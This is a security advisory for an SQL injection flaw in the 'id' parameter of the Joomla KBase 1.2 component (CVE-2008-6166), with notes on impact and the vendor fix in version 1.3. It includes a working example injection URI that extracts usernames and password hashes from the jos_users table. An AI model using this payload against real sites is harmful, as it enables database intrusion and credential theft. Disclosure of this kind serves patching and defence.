KBase Joomla! Component 'id' Parameter SQL Injection Vulnerability

Bugtraq ID:	31902
Class:	Input Validation Error
CVE:	CVE-2008-6166
Remote:	Yes
Local:	No
Published:	Oct 24 2008 12:00AM
Updated:	Apr 16 2015 05:52PM
Credit:	H!tm@N
Vulnerable:	Joomla KBase 1.2
Not Vulnerable:	Joomla KBase 1.3

KBase Joomla! Component 'id' Parameter SQL Injection Vulnerability

The KBase component for Joomla! is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.

KBase 1.2 is vulnerable; other versions may also be affected.

KBase Joomla! Component 'id' Parameter SQL Injection Vulnerability

Attackers can use a browser to exploit this issue.

The following example URI is available:

http://www.example.com/index.php?option=com_kbase&view=article&id=-1+union+select+1,concat(username,char(58),password)KHG,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18+from+jos_users--

KBase Joomla! Component 'id' Parameter SQL Injection Vulnerability

Solution:
The vendor has released a fix to address this issue. Please see the references for more information.


Joomla KBase 1.2

• Joomla KBase 1.3
  http://www.jmds.eu/download-document/31-kbase.html

KBase Joomla! Component 'id' Parameter SQL Injection Vulnerability

References:

• John Messingham Development Services (John Messingham Development Services)
  
• KBase - Component (Version 1.3) (Joomla)
  
• KBase Product Page (John Messingham Development Services)